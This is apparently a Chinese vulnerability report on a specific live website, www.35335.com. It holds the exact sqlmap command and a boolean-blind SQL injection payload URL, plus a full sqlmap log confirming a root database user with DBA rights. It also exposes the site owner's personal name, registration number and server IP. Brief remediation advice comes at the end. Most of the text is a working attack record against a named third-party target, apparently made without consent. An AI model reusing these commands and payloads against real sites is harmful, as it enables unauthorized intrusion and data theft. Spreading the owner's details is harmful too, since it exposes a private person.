基本信息

漏洞类型：SQL注入漏洞

漏洞等级：高危

厂商信息：此处需要手动搜索

漏洞简述

漏洞描述

即当应用程序使用输入内容来构造动态SQL语句以访问数据库时，如果对输入的参数没有进行严格的过滤或者过滤不完整将会导致SQL注入攻击的产生。

漏洞危害

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息，包括数据库账号密码信息，甚至可上传木马，从而控制服务器。

漏洞详情

网站漏洞报表

注入网址:http://www.35335.com/project/zcfysg\*.shtml

执行命令:python sqlmap.py -u http://www.35335.com/project/zcfysg\*.shtml --random-agent --dbs --current-user --current-db --is-db

注入参数(方式) : #1\* (URI)  
  
 注入方式 : boolean-based blind  
  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
  
 注入攻击 : http://www.35335.com:80/project/zcfysg' AND 3910=3910 AND 'NJfX'='NJfX.shtml

数据库类型 : MySQL  
  
服务器语言 : Nginx 1.12.2, JSP  
  
数据库版本 : MySQL >= 5.0.2

网站信息报表

百度权重 4

网站主页 http://www.35335.com

网站描述 "seo综合查询可以查到该网站各大搜索引擎的信息，包括收录，反链及关键词排名，也可以一目了然的看到该域名的相关信息，比如域名年龄相关备案等等，及时调整网站优化。" /

网站标题 http://www.35335.com

IP\_\_坐标 加拿大 安大略省多伦多腾讯云计算有限公司北美数据中心

所属\_\_IP 49.51.10.192

网站年龄 9年7月1天（创建于2009年10月02日,过期时间为2019年10月02日)

备案编号 粤ICP备17146273号-1

备案性质 个人

备案名称 李邦华

备案时间 2017/11/20 0:00:00

百度收录 17万5000

协议类型 HTTP/1.1 200 OK

页面类型 text/html; charset=UTF-8

服务类型 nginx/1.12.2

程序语言 暂无信息

网站漏洞复现

执行命令

python sqlmap.py -u http://www.35335.com/project/zcfysg\*.shtml --random-agent --dbs --current-user --current-db --is-db

返回结果

\_\_\_  
  
 \_\_H\_\_  
  
 \_\_\_ \_\_\_["]\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
  
|\_ -| . [(] | .'| . |  
  
|\_\_\_|\_ [']\_|\_|\_|\_\_,| \_|  
  
 |\_|V |\_| http://sqlmap.org  
  
  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
  
  
[\*] starting @ 00:42:05 /2019-05-03/  
  
  
  
[00:42:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3' from file 'D:\HACKER\_TOOLS\LANGZI\_HACKER\LANGZI\_SQL\_INJECTION\Auto\_ExtrAct\_1.0\sqlmap\txt\user-agents.txt'  
  
custom injection marker ('\*') found in option '-u'. Do you want to process it? [Y/n/q] Y  
  
[00:42:05] [INFO] testing connection to the target URL  
  
[00:42:06] [INFO] checking if the target is protected by some kind of WAF/IPS  
  
[00:42:06] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS  
  
do you want sqlmap to try to detect backend WAF/IPS? [y/N] N  
  
[00:42:06] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')  
  
[00:42:06] [INFO] testing if the target URL content is stable  
  
[00:42:07] [INFO] target URL content is stable  
  
[00:42:07] [INFO] testing if URI parameter '#1\*' is dynamic  
  
[00:42:07] [WARNING] URI parameter '#1\*' does not appear to be dynamic  
  
[00:42:07] [WARNING] heuristic (basic) test shows that URI parameter '#1\*' might not be injectable  
  
[00:42:07] [INFO] testing for SQL injection on URI parameter '#1\*'  
  
[00:42:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
  
[00:42:08] [INFO] URI parameter '#1\*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)  
  
[00:42:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
  
[00:42:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'  
  
[00:42:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'  
  
[00:42:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'  
  
[00:42:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'  
  
[00:42:10] [INFO] testing 'MySQL inline queries'  
  
[00:42:10] [INFO] testing 'PostgreSQL inline queries'  
  
[00:42:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'  
  
[00:42:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'  
  
[00:42:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'  
  
[00:42:10] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'  
  
[00:42:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'  
  
[00:42:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'  
  
[00:42:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'  
  
[00:42:11] [INFO] testing 'Oracle AND time-based blind'  
  
[00:42:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
  
[00:42:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found  
  
[00:42:12] [INFO] checking if the injection point on URI parameter '#1\*' is a false positive  
  
URI parameter '#1\*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N  
  
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) requests:  
  
---  
  
Parameter: #1\* (URI)  
  
 Type: boolean-based blind  
  
 Title: AND boolean-based blind - WHERE or HAVING clause  
  
 Payload: http://www.35335.com:80/project/zcfysg' AND 3910=3910 AND 'NJfX'='NJfX.shtml  
  
---  
  
[00:42:13] [INFO] testing MySQL  
  
[00:42:13] [INFO] confirming MySQL  
  
[00:42:14] [INFO] the back-end DBMS is MySQL  
  
web application technology: Nginx 1.12.2, JSP  
  
back-end DBMS: MySQL >= 5.0.2  
  
[00:42:14] [INFO] fetching current user  
  
[00:42:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval  
  
  
[00:42:14] [INFO] retrieved: root@localhost  
  
current user: 'root@localhost'  
  
[00:42:24] [INFO] fetching current database  
  
  
[00:42:24] [INFO] retrieved:   
  
[00:42:32] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'  
  
current database: None  
  
[00:42:32] [INFO] testing if current user is DBA  
  
[00:42:32] [INFO] fetching current user  
  
current user is DBA: True  
  
[00:42:32] [WARNING] information\_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database  
  
[00:42:32] [INFO] fetching number of databases  
  
  
[00:42:32] [INFO] retrieved:   
  
[00:42:32] [ERROR] unable to retrieve the number of databases  
  
[00:42:32] [INFO] falling back to current database  
  
[00:42:32] [INFO] fetching current database  
  
  
[00:42:32] [INFO] retrieved:   
  
  
[00:42:33] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)  
  
[00:42:33] [CRITICAL] unable to connect to the target URL ('')  
  
[00:42:33] [WARNING] HTTP error codes detected during run:  
  
404 (Not Found) - 64 times  
  
  
  
[\*] ending @ 00:42:33 /2019-05-03/

敏感数据

注入参数(方式) : #1\* (URI)  
  
 注入方式 : boolean-based blind  
  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
  
 注入攻击 : http://www.35335.com:80/project/zcfysg' AND 3910=3910 AND 'NJfX'='NJfX.shtml

数据库类型 : MySQL  
  
服务器语言 : Nginx 1.12.2, JSP  
  
数据库版本 : MySQL >= 5.0.2

当前用户: 'root@localhost'

当前数据库: None

是否有DBA权限: True

修复建议

代码原理防护

1.对用户的输入进行严格过滤，包括所有的参数，URL和HTTP头部等所有需要传给数据库的数据。  
 包括但不限于以下字符及字符串  
 select and or like regxp from where update exec order by having drop delete ( ) [ ] < > , . ; : ' " # % + - \_ = / \* @  
 2.预编译SQL语句，而不要动态组装SQL语句，否则必须确保在使用输入的数据组装成SQL语句之前，对特殊字符进行预处理。  
 3.以最小权限执行SQL语句

安全防火墙防护

1.安装网站防火墙  
 2.接入云WAF